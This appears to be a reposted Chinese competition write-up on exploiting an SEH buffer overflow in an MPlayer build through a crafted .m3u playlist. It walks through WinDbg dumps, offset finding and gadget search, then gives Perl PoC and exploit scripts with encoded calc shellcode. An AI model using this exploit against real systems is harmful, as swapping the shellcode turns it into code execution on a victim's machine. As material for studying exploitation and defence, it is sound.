0022ffe0 47 6f 35 47 6f 36 47 6f-37 47 6f 38 47 6f 39 47 Go5Go6Go7Go8Go9G
0022fff0 70 30 47 70 31 47 70 32-47 70 33 47 70 34 47 70 p0Gp1Gp2Gp3Gp4Gp
00230000 41 63 74 78 20 00 00 00-01 00 00 00 b8 24 00 00 Actx ……..$..
00230010 c4 00 00 00 00 00 00 00-20 00 00 00 00 00 00 00 …….. …….
00230020 14 00 00 00 01 00 00 00-06 00 00 00 34 00 00 00 …………4…
00230030 14 01 00 00 01 00 00 00-00 00 00 00 00 00 00 00 …………….
00230040 00 00 00 00 00 00 00 00-00 00 00 00 02 00 00 00 …………….
00230050 00 00 00 00 00 00 00 00-00 00 00 00 14 02 00 00 …………….
成功覆盖了seh。
现在我们来控制eip，定位下溢出点：
root@scan:~/Desktop# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 6f47366f
[*] Exact match at offset 5119
root@scan:~/Desktop# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 47356f47
[*] Exact match at offset 5115

溢出的基本流程应该是这样的:
/xeb/x06/x90/x90 pop pop ret address
["A" x 5115] [ nseh ] [ seh ] [ shellcode ]

shellcode貌似空间不太够，需要往回跳转了这次！
还好前面的字符串都是连续的没被破坏掉。
0:000> d 0022ffe0-400
0022fbe0 33 46 67 34 46 67 35 46-67 36 46 67 37 46 67 38 3Fg4Fg5Fg6Fg7Fg8
0022fbf0 46 67 39 46 68 30 46 68-31 46 68 32 46 68 33 46 Fg9Fh0Fh1Fh2Fh3F
0022fc00 68 34 46 68 35 46 68 36-46 68 37 46 68 38 46 68 h4Fh5Fh6Fh7Fh8Fh
0022fc10 39 46 69 30 46 69 31 46-69 32 46 69 33 46 69 34 9Fi0Fi1Fi2Fi3Fi4
0022fc20 46 69 35 46 69 36 46 69-37 46 69 38 46 69 39 46 Fi5Fi6Fi7Fi8Fi9F
0022fc30 6a 30 46 6a 31 46 6a 32-46 6a 33 46 6a 34 46 6a j0Fj1Fj2Fj3Fj4Fj
0022fc40 35 46 6a 36 46 6a 37 46-6a 38 46 6a 39 46 6b 30 5Fj6Fj7Fj8Fj9Fk0
0022fc50 46 6b 31 46 6b 32 46 6b-33 46 6b 34 46 6b 35 46 Fk1Fk2Fk3Fk4Fk5F
0:000> d
0022fc60 6b 36 46 6b 37 46 6b 38-46 6b 39 46 6c 30 46 6c k6Fk7Fk8Fk9Fl0Fl
0022fc70 31 46 6c 32 46 6c 33 46-6c 34 46 6c 35 46 6c 36 1Fl2Fl3Fl4Fl5Fl6
0022fc80 46 6c 37 46 6c 38 46 6c-39 46 6d 30 46 6d 31 46 Fl7Fl8Fl9Fm0Fm1F
0022fc90 6d 32 46 6d 33 46 6d 34-46 6d 35 46 6d 36 46 6d m2Fm3Fm4Fm5Fm6Fm
0022fca0 37 46 6d 38 46 6d 39 46-6e 30 46 6e 31 46 6e 32 7Fm8Fm9Fn0Fn1Fn2
0022fcb0 46 6e 33 46 6e 34 46 6e-35 46 6e 36 46 6e 37 46 Fn3Fn4Fn5Fn6Fn7F
0022fcc0 6e 38 46 6e 39 46 6f 30-46 6f 31 46 6f 32 46 6f n8Fn9Fo0Fo1Fo2Fo
0022fcd0 33 46 6f 34 46 6f 35 46-6f 36 46 6f 37 46 6f 38 3Fo4Fo5Fo6Fo7Fo8
0:000>
0022fce0 46 6f 39 46 70 30 46 70-31 46 70 32 46 70 33 46 Fo9Fp0Fp1Fp2Fp3F
0022fcf0 70 34 46 70 35 46 70 36-46 70 37 46 70 38 46 70 p4Fp5Fp6Fp7Fp8Fp
0022fd00 39 46 71 30 46 71 31 46-71 32 46 71 33 46 71 34 9Fq0Fq1Fq2Fq3Fq4
0022fd10 46 71 35 46 71 36 46 71-37 46 71 38 46 71 39 46 Fq5Fq6Fq7Fq8Fq9F
0022fd20 72 30 46 72 31 46 72 32-46 72 33 46 72 34 46 72 r0Fr1Fr2Fr3Fr4Fr
0022fd30 35 46 72 36 46 72 37 46-72 38 46 72 39 46 73 30 5Fr6Fr7Fr8Fr9Fs0
0022fd40 46 73 31 46 73 32 46 73-33 46 73 34 46 73 35 46 Fs1Fs2Fs3Fs4Fs5F
0022fd50 73 36 46 73 37 46 73 38-46 73 39 46 74 30 46 74 s6Fs7Fs8Fs9Ft0Ft
0:000>
0022fd60 31 46 74 32 46 74 33 46-74 34 46 74 35 46 74 36 1Ft2Ft3Ft4Ft5Ft6
0022fd70 46 74 37 46 74 38 46 74-39 46 75 30 46 75 31 46 Ft7Ft8Ft9Fu0Fu1F
0022fd80 75 32 46 75 33 46 75 34-46 75 35 46 75 36 46 75 u2Fu3Fu4Fu5Fu6Fu
0022fd90 37 46 75 38 46 75 39 46-76 30 46 76 31 46 76 32 7Fu8Fu9Fv0Fv1Fv2
0022fda0 46 76 33 46 76 34 46 76-35 46 76 36 46 76 37 46 Fv3Fv4Fv5Fv6Fv7F
0022fdb0 76 38 46 76 39 46 77 30-46 77 31 46 77 32 46 77 v8Fv9Fw0Fw1Fw2Fw
0022fdc0 33 46 77 34 46 77 35 46-77 36 46 77 37 46 77 38 3Fw4Fw5Fw6Fw7Fw8
0022fdd0 46 77 39 46 78 30 46 78-31 46 78 32 46 78 33 46 Fw9Fx0Fx1Fx2Fx3F
0:000>
0022fde0 78 34 46 78 35 46 78 36-46 78 37 46 78 38 46 78 x4Fx5Fx6Fx7Fx8Fx
0022fdf0 39 46 79 30 46 79 31 46-79 32 46 79 33 46 79 34 9Fy0Fy1Fy2Fy3Fy4
0022fe00 46 79 35 46 79 36 46 79-37 46 79 38 46 79 39 46 Fy5Fy6Fy7Fy8Fy9F
0022fe10 7a 30 46 7a 31 46 7a 32-46 7a 33 46 7a 34 46 7a z0Fz1Fz2Fz3Fz4Fz
0022fe20 35 46 7a 36 46 7a 37 46-7a 38 46 7a 39 47 61 30 5Fz6Fz7Fz8Fz9Ga0
0022fe30 47 61 31 47 61 32 47 61-33 47 61 34 47 61 35 47 Ga1Ga2Ga3Ga4Ga5G
0022fe40 61 36 47 61 37 47 61 38-47 61 39 47 62 30 47 62 a6Ga7Ga8Ga9Gb0Gb
0022fe50 31 47 62 32 47 62 33 47-62 34 47 62 35 47 62 36 1Gb2Gb3Gb4Gb5Gb6
0:000>
0022fe60 47 62 37 47 62 38 47 62-39 47 63 30 47 63 31 47 Gb7Gb8Gb9Gc0Gc1G
0022fe70 63 32 47 63 33 47 63 34-47 63 35 47 63 36 47 63 c2Gc3Gc4Gc5Gc6Gc
0022fe80 37 47 63 38 47 63 39 47-64 30 47 64 31 47 64 32 7Gc8Gc9Gd0Gd1Gd2
0022fe90 47 64 33 47 64 34 47 64-35 47 64 36 47 64 37 47 Gd3Gd4Gd5Gd6Gd7G
0022fea0 64 38 47 64 39 47 65 30-47 65 31 47 65 32 47 65 d8Gd9Ge0Ge1Ge2Ge
0022feb0 33 47 65 34 47 65 35 47-65 36 47 65 37 47 65 38 3Ge4Ge5Ge6Ge7Ge8
0022fec0 47 65 39 47 66 30 47 66-31 47 66 32 47 66 33 47 Ge9Gf0Gf1Gf2Gf3G
0022fed0 66 34 47 66 35 47 66 36-47 66 37 47 66 38 47 66 f4Gf5Gf6Gf7Gf8Gf
0:000>
0022fee0 39 47 67 30 47 67 31 47-67 32 47 67 33 47 67 34 9Gg0Gg1Gg2Gg3Gg4
0022fef0 47 67 35 47 67 36 47 67-37 47 67 38 47 67 39 47 Gg5Gg6Gg7Gg8Gg9G
0022ff00 68 30 47 68 31 47 68 32-47 68 33 47 68 34 47 68 h0Gh1Gh2Gh3Gh4Gh
0022ff10 35 47 68 36 47 68 37 47-68 38 47 68 39 47 69 30 5Gh6Gh7Gh8Gh9Gi0
0022ff20 47 69 31 47 69 32 47 69-33 47 69 34 47 69 35 47 Gi1Gi2Gi3Gi4Gi5G
0022ff30 69 36 47 69 37 47 69 38-47 69 39 47 6a 30 47 6a i6Gi7Gi8Gi9Gj0Gj
0022ff40 31 47 6a 32 47 6a 33 47-6a 34 47 6a 35 47 6a 36 1Gj2Gj3Gj4Gj5Gj6
0022ff50 47 6a 37 47 6a 38 47 6a-39 47 6b 30 47 6b 31 47 Gj7Gj8Gj9Gk0Gk1G
0:000>
0022ff60 6b 32 47 6b 33 47 6b 34-47 6b 35 47 6b 36 47 6b k2Gk3Gk4Gk5Gk6Gk
0022ff70 37 47 6b 38 47 6b 39 47-6c 30 47 6c 31 47 6c 32 7Gk8Gk9Gl0Gl1Gl2
0022ff80 47 6c 33 47 6c 34 47 6c-35 47 6c 36 47 6c 37 47 Gl3Gl4Gl5Gl6Gl7G
0022ff90 6c 38 47 6c 39 47 6d 30-47 6d 31 47 6d 32 47 6d l8Gl9Gm0Gm1Gm2Gm
0022ffa0 33 47 6d 34 47 6d 35 47-6d 36 47 6d 37 47 6d 38 3Gm4Gm5Gm6Gm7Gm8
0022ffb0 47 6d 39 47 6e 30 47 6e-31 47 6e 32 47 6e 33 47 Gm9Gn0Gn1Gn2Gn3G
0022ffc0 6e 34 47 6e 35 47 6e 36-47 6e 37 47 6e 38 47 6e n4Gn5Gn6Gn7Gn8Gn
0022ffd0 39 47 6f 30 47 6f 31 47-6f 32 47 6f 33 47 6f 34 9Go0Go1Go2Go3Go4
0:000>
0022ffe0 47 6f 35 47 6f 36 47 6f-37 47 6f 38 47 6f 39 47 Go5Go6Go7Go8Go9G
0022fff0 70 30 47 70 31 47 70 32-47 70 33 47 70 34 47 70 p0Gp1Gp2Gp3Gp4Gp

现在先来构造一个简单的poc：

“/x90″ x 5115 + “/xeb/x06/x90/x90″ + [pop pop ret] + “/x90/x90/x90/xcc”

在程序的自身的dll中，没装od的插件就先不管safeseh的事情了。
Executable search path is:
ModLoad: 00400000 00b26000   image00400000
ModLoad: 7c920000 7c9b6000   ntdll.dll
ModLoad: 7c800000 7c91d000   C:/WINDOWS/system32/kernel32.dll
ModLoad: 6ad40000 6b72e000   C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/avcodec-52.dll
ModLoad: 00bd0000 00bfa000   C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/avutil-50.dll
ModLoad: 77be0000 77c38000   C:/WINDOWS/system32/msvcrt.dll
ModLoad: 62480000 62492000   C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/pthreadGC2.dll
ModLoad: 71a40000 71a4b000   C:/WINDOWS/system32/WSOCK32.DLL
ModLoad: 71a20000 71a37000   C:/WINDOWS/system32/WS2_32.dll
ModLoad: 71a10000 71a18000   C:/WINDOWS/system32/WS2HELP.dll
ModLoad: 77da0000 77e49000   C:/WINDOWS/system32/ADVAPI32.dll
ModLoad: 77e50000 77ee2000   C:/WINDOWS/system32/RPCRT4.dll
ModLoad: 77fc0000 77fd1000   C:/WINDOWS/system32/Secur32.dll
ModLoad: 64940000 649f6000   C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/avformat-52.dll
ModLoad: 6d080000 6d0b0000   C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/postproc-51.dll
ModLoad: 6d780000 6d7db000   C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/swscale-0.dll
ModLoad: 77180000 77283000   C:/WINDOWS/WinSxS/X86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.3744_x-ww_d9c64cc6/COMCTL32.DLL
ModLoad: 77ef0000 77f38000   C:/WINDOWS/system32/GDI32.dll
ModLoad: 77d10000 77d9f000   C:/WINDOWS/system32/USER32.dll
……
使用神器msfpescan找pop pop ret 的跳转地址
root@scan:~/Desktop# /opt/metasploit/app/msfpescan -p avcodec-52.dll

[avcodec-52.dll]
0x6ad410b4 pop ebx; pop ebp; ret
0x6ad42838 pop edi; pop ebp; ret
0x6ad42a8e pop edi; pop ebp; ret
0x6ad42c5d pop edi; pop ebp; ret
0x6ad43304 pop edi; pop ebp; ret
0x6ad4340f pop edi; pop ebp; ret
0x6ad44d17 pop edi; pop ebp; ret
0x6ad44e8c pop edi; pop ebp; ret
0x6ad44eae pop edi; pop ebp; ret
0x6ad45048 pop edi; pop ebp; ret
0x6ad45093 pop edi; pop ebp; ret
0x6ad45128 pop edi; pop ebp; ret
0x6ad453cc pop edi; pop ebp; ret

有了跳转地址我们就来写poc。

#!/usr/bin/perl
# 2011西安电子科技大学网络攻防大赛  漏洞挖掘题目 poc
# by c4rp3nt3r@0x50sec.org
#
my $junk = "/x90" x 5115;
my $nseh = "/xeb/x06/x90/x90";
my $seh = pack('V',0x6ad410b4);    #pop pop ret from avcodec-52.dll
my $payload = "/x90/x90/x90/xcc" ;
open($FH,">poc.m3u");
print $FH $junk.$nseh.$seh.$payload."/r/n";
close($FH);

运行程序，把生成的“poc.m3u”托进程序发现poc成功运行。

好吧现在就写一个能够弹计算器的exploit,safeseh和dep就先不管了。dep用rop绕过就行了，又不是真的比赛这里就不玩了。

#!/usr/bin/perl
# 2011西安电子科技大学网络攻防大赛  漏洞挖掘题目 seh exploit
# by c4rp3nt3r@0x50sec.org
#
# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc
my $load =
"/xba/xa3/xfd/xdd/x88/xd9/xf7/xd9/x74/x24/xf4/x5f/x31/xc9" .
"/xb1/x32/x31/x57/x12/x83/xef/xfc/x03/xf4/xf3/x3f/x7d/x06" .
"/xe3/x49/x7e/xf6/xf4/x29/xf6/x13/xc5/x7b/x6c/x50/x74/x4c" .
"/xe6/x34/x75/x27/xaa/xac/x0e/x45/x63/xc3/xa7/xe0/x55/xea" .
"/x38/xc5/x59/xa0/xfb/x47/x26/xba/x2f/xa8/x17/x75/x22/xa9" .
"/x50/x6b/xcd/xfb/x09/xe0/x7c/xec/x3e/xb4/xbc/x0d/x91/xb3" .
"/xfd/x75/x94/x03/x89/xcf/x97/x53/x22/x5b/xdf/x4b/x48/x03" .
"/xc0/x6a/x9d/x57/x3c/x25/xaa/xac/xb6/xb4/x7a/xfd/x37/x87" .
"/x42/x52/x06/x28/x4f/xaa/x4e/x8e/xb0/xd9/xa4/xed/x4d/xda" .
"/x7e/x8c/x89/x6f/x63/x36/x59/xd7/x47/xc7/x8e/x8e/x0c/xcb" .
"/x7b/xc4/x4b/xcf/x7a/x09/xe0/xeb/xf7/xac/x27/x7a/x43/x8b" .
"/xe3/x27/x17/xb2/xb2/x8d/xf6/xcb/xa5/x69/xa6/x69/xad/x9b" .
"/xb3/x08/xec/xf1/x42/x98/x8a/xbc/x45/xa2/x94/xee/x2d/x93" .
"/x1f/x61/x29/x2c/xca/xc6/xc5/x66/x57/x6e/x4e/x2f/x0d/x33" .
"/x13/xd0/xfb/x77/x2a/x53/x0e/x07/xc9/x4b/x7b/x02/x95/xcb" .
"/x97/x7e/x86/xb9/x97/x2d/xa7/xeb/xfb/xb0/x3b/x77/xfc";
$length = 5115 - length($load);
my $junk = "/x90" x $length;
my $nseh = "/xeb/x06/x90/x90";
my $seh = pack('V',0x6ad410b4);    #pop pop ret from avcodec-52.dll
my $pay = "/xe9/x0c/xff/xff/xff" ; # jmp back to shellcode
open($FH,">exp.m3u");
print $FH $junk.$load.$nseh.$seh.$pay."/r/n";
close($FH);

打开构造的exp.m3u会弹出期待的计算器。

该文章由WP-AutoPost插件自动采集发布

原文地址:http://bluereader.org/article/558

2011西电网络攻防大赛 漏洞挖掘题目 调试笔记

2011西电网络攻防大赛漏洞挖掘题目调试笔记